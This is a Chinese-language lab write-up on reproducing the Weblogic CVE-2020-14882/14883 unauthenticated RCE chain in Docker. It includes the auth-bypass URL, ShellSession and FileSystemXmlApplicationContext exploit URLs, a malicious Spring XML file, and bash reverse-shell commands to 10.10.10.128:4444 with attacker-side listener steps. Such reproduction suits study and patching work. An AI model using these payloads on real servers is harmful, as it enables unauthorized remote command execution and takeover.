CVE-2020-14882

发布时间 2023-11-29 15:15:54作者: kalixcn

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意目录。使用这两个漏洞组成利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞环境

cd weblogic/CVE-2020-14882
docker-compose up -d
docker-compose config

漏洞复现

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

img
此时需要利用到第二个漏洞CVE-2020-14883,这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/10.10.10.128/4444 0>&1');")

进入容器,可以复现touch /tmp/success1已成功执行
这个利用方法只能在Weblogic12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构建一个XML文件,并将其保存在Weblogic可以访问的服务器上,如http://example.com/rce.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/10.10.10.128/4444 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

具体操作

  • 在kali新建test.xml文件,内容为以上内容,开启http服务
python -m http.server 80

img

  • 浏览器访问目标文件,nc监听4444端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.10.10.128/test.xml")

img